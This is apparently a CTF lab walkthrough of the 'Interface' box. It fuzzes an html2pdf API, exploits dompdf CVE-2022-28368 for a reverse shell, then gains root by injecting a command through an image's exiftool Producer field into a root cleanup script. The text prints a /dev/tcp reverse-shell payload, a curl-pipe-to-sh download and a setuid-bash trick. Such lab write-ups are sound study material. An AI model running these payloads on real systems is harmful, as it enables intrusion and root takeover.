Interface
Recon
HTTP (80)

Update DNS.
API
In the headers we get some interesting information.

Dirbusting
└─$ curl http://prd.m.rendering-api.interface.htb/ -i
HTTP/1.1 404 Not Found
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 03 Dec 2024 20:55:39 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
File not found.
Fuzzing for filename in GET and POST request yielded no success. Then I tried to enumerate the directories. /vendor
exists, but denied.
└─$ feroxbuster -u 'http://prd.m.rendering-api.interface.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt
404 GET 0l 0w 0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 1l 2w 15c http://prd.m.rendering-api.interface.htb/vendor
└─$ curl http://prd.m.rendering-api.interface.htb/vendor -i
HTTP/1.1 403 Forbidden
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 03 Dec 2024 21:03:20 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Access denied.
Not sure why, but feroxbuster didn't recurse on this endpoint.
└─$ feroxbuster -u 'http://prd.m.rendering-api.interface.htb/vendor' -w /usr/share/seclists/Discovery/Web-Content/common.txt
403 GET 1l 2w 15c http://prd.m.rendering-api.interface.htb/vendor/composer
└─$ feroxbuster -u 'http://prd.m.rendering-api.interface.htb/vendor/composer' -w /usr/share/seclists/Discovery/Web-Content/common.txt
403 GET 1l 2w 15c http://prd.m.rendering-api.interface.htb/vendor/composer/LICENSE
403 everywhere 🤔
Because it's an API it's possible that 404 is returned as response which feroxbuster by default filters.
└─$ feroxbuster -u 'http://prd.m.rendering-api.interface.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt --dont-filter -N 0 -m GET,POST
404 GET 1l 3w 16c http://prd.m.rendering-api.interface.htb/
404 POST 1l 3w 16c http://prd.m.rendering-api.interface.htb/
404 GET 1l 3w 50c http://prd.m.rendering-api.interface.htb/api/experiments
404 GET 1l 3w 50c http://prd.m.rendering-api.interface.htb/api/experiments/configurations
404 GET 1l 3w 50c http://prd.m.rendering-api.interface.htb/api
404 POST 1l 3w 50c http://prd.m.rendering-api.interface.htb/api/experiments
404 POST 1l 3w 50c http://prd.m.rendering-api.interface.htb/api/experiments/configurations
404 POST 1l 3w 50c http://prd.m.rendering-api.interface.htb/api
403 GET 1l 2w 15c http://prd.m.rendering-api.interface.htb/vendor
403 POST 1l 2w 15c http://prd.m.rendering-api.interface.htb/vendor
└─$ curl http://prd.m.rendering-api.interface.htb/api/experiments/configurations
{"status":"404","status_text":"route not defined"}
└─$ curl http://prd.m.rendering-api.interface.htb/api/anything
{"status":"404","status_text":"route not defined"}
More fuzzing
└─$ feroxbuster -u 'http://prd.m.rendering-api.interface.htb/api' -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --dont-filter -W 3 -m GET,POST
422 POST 1l 2w 36c http://prd.m.rendering-api.interface.htb/api/html2pdf
Parameter Fuzzing
Because we are working with NextJS app it's liking JSON more then urlencoded data.
└─$ ffuf -u http://prd.m.rendering-api.interface.htb/api/html2pdf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -d FUZZ=/etc/hostname -mc all -fs 36
...Nothing...
└─$ ffuf -u http://prd.m.rendering-api.interface.htb/api/html2pdf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H 'Content-Type: application/json' -d '{"FUZZ":"/etc/hostname"}' -mc all -fs 36
html [Status: 200, Size: 1140, Words: 116, Lines: 77, Duration: 283ms]
It works as expected.

DomPDF
└─$ exiftool ~/html-new.pdf
ExifTool Version Number : 12.76
File Name : html-new.pdf
Directory : /home/woyag
File Size : 1271 bytes
File Modification Date/Time : 2024:12:03 16:27:36-05:00
File Access Date/Time : 2024:12:03 16:27:45-05:00
File Inode Change Date/Time : 2024:12:03 16:27:36-05:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.7
Linearized : No
Page Count : 1
Producer : dompdf 1.2.0 + CPDF
Create Date : 2024:12:03 21:27:17+00:00
Modify Date : 2024:12:03 21:27:17+00:00
Dompdf 1.2.1 - Remote Code Execution (RCE)CVE-2022-28368 -> From XSS to RCE (dompdf 0day) -> dompdf-rce
PoC is working

Reverse Shell
└─$ git clone https://github.com/rvizx/CVE-2022-28368
└─$ cd CVE-2022-28368
└─$ py dompdf-rce.py --dompdf 'http://prd.m.rendering-api.interface.htb' --inject 'http://prd.m.rendering-api.interface.htb/api/html2pdf?html='
[inf]: selected ip address: 10.10.14.113
[inf]: using payload: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.113/9002 0>&1'");?>
[inf]: generating exploit.css and exploit_font.php files...
[inf]: url hash: c3b58e482e52b053a4ce187e326d51f3
[inf]: filename: exploitfont_normal_c3b58e482e52b053a4ce187e326d51f3.php
[inf]: starting http server on port 9001..
[inf]: sending the payloads..
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...
10.129.228.208 - - [04/Dec/2024 12:45:24] "GET /exploit.css HTTP/1.0" 200 -
10.129.228.208 - - [04/Dec/2024 12:45:24] "GET /exploit_font.php HTTP/1.0" 200 -
[inf]: success!
[inf]: url: http://prd.m.rendering-api.interface.htb/api/html2pdf?html= - status_code: 200
[inf]: terminating the http server..
[ins]: start a listener on port 9002 (execute the command on another terminal and press enter)
nc -lvnp 9002
[ins]: press enter to continue!
[ins]: check for connections!
Note: as per post the url is
/vendor/library/library/lib/fonts/*.php
, like:

Privilege Escalation
www-data@interface:~/api$ curl 10.10.14.113/lp.sh|sh|tee /tmp/lp.log
╔══════════╣ Executable files potentially added by user (limit 70)
2023-02-08+12:57:17.7808908480 /usr/local/sbin/cleancache.sh
2023-01-13+10:54:47.4696015670 /usr/local/sbin/laurel
2022-11-20+21:59:04.6543265010 /var/www/api/vendor/sabberworm/php-css-parser/bin/quickdump.php
2022-11-20+21:59:04.5303264290 /var/www/api/vendor/bramus/router/demo/index.php
2022-11-20+21:59:04.5303264290 /var/www/api/vendor/bramus/router/README.md
2022-11-20+21:53:41.5014786250 /usr/local/bin/composer
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/var/www/.config/lxc/config.yml
/var/www/.gnupg/pubring.kbx
/var/www/.gnupg/trustdb.gpg
/var/www/api/vendor/dompdf/dompdf/lib/fonts/dompdf_font_family_cache.php
/var/log/syslog
/var/log/auth.log
/var/log/journal/69623df55e8444d7934baf570db9aa6e/system.journal
╔══════════╣ Backup folders
drwx------ 2 root root 4096 Jan 16 2023 /etc/lvm/backup
drwxr-xr-x 2 root root 4096 Dec 4 06:25 /var/backups
╔══════════╣ Web files?(output limit)
/var/www/:
total 28K
drwxr-xr-x 7 www-data www-data 4.0K Dec 4 17:55 .
drwxr-xr-x 14 root root 4.0K Jan 16 2023 ..
drwx------ 4 www-data www-data 4.0K Dec 4 17:54 .config
drwx------ 3 www-data www-data 4.0K Dec 4 17:55 .gnupg
drwxr-xr-x 3 www-data www-data 4.0K Jan 16 2023 api
drwxr-xr-x 2 root root 4.0K Jan 31 2023 html
ww-data 4.0K Jan 16 2023 starting-page
Cronjob
In Executable files potentially added by user
section linpeas showed a cleanup script of some sort.
www-data@interface:~$ ls -alh /usr/local/sbin/cleancache.sh
-rwxr-xr-x 1 root root 346 Feb 8 2023 /usr/local/sbin/cleancache.sh
www-data@interface:~$ cat /usr/local/sbin/cleancache.sh
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do
if [[ -f "$cfile" ]]; then
meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)
if [[ "$meta_producer" -eq "dompdf" ]]; then
echo "Removing $cfile"
rm "$cfile"
fi
fi
done
bash test injection vulnerability with -v
www-data@interface:~$ rm /tmp/LetMeIn*; cp /usr/share/doc/nodejs/thin-white-stripe.jpg /tmp/LetMeIn.jpg; exiftool -Producer='x[$(install -m4777 /bin/bash /tmp/bash)]' /tmp/LetMeIn.jpg; exiftool /tmp/LetMeIn.jpg | grep Producer
1 image files updated
Producer : x[$(install -m4777 /bin/bash /tmp/bash)]
www-data@interface:~$ /usr/local/sbin/cleancache.sh
/usr/local/sbin/cleancache.sh
/usr/local/sbin/cleancache.sh: line 9: [[: x[$(install: bad array subscript (error token is "x[$(install") "" "
Removing /tmp/LetMeIn.jpg_original
Removing /tmp/pwned
www-data@interface:~$ echo $'#!/bin/bash\nid > /tmp/pwned' > /dev/shm/t.sh; chmod +x /dev/shm/t.sh; rm /tmp/LetMeIn*; cp /usr/share/doc/nodejs/thin-white-stripe.jpg /tmp/LetMeIn.jpg; exiftool -Producer='x[`/dev/shm/t.sh`]' /tmp/LetMeIn.jpg; exiftool /tmp/LetMeIn.jpg | grep Producer
<MeIn.jpg; exiftool /tmp/LetMeIn.jpg | grep Producer
1 image files updated
Producer : x[`/dev/shm/t.sh`]
www-data@interface:~$ /usr/local/sbin/cleancache.sh
/usr/local/sbin/cleancache.sh
Removing /tmp/LetMeIn.jpg
Removing /tmp/LetMeIn.jpg_original
www-data@interface:~$ cat /tmp/pwned
cat /tmp/pwned
uid=33(www-data) gid=33(www-data) groups=33(www-data)
For some odd reasons directly executing the command inside $(...)
or `...` didn't work. If we include the script inside it then works?!?!?
www-data@interface:~$ echo $'#!/bin/bash\ninstall -m4777 /bin/bash /tmp/bash' > /dev/shm/t.sh; chmod +x /dev/shm/t.sh; rm /tmp/LetMeIn*; cp /usr/share/doc/nodejs/thin-white-stripe.jpg /tmp/LetMeIn.jpg; exiftool -Producer='x[`/dev/shm/t.sh`]' /tmp/LetMeIn.jpg; exiftool /tmp/LetMeIn.jpg | grep Producer
1 image files updated
Producer : x[`/dev/shm/t.sh`]
---
Wait...
---
www-data@interface:~$ ls -alh /tmp/bash
-rwsrwxrwx 1 root root 1.1M Dec 4 18:34 /tmp/bash
Flags
> ls /*/root.txt /home/*/user.txt
/home/dev/user.txt
/root/root.txt
> ls /*/root.txt /home/*/user.txt | xargs cat
f61f5f9b368103865cb4abaecaa11b18
e8544d486559ce85fe12b4171908fbac
Last updated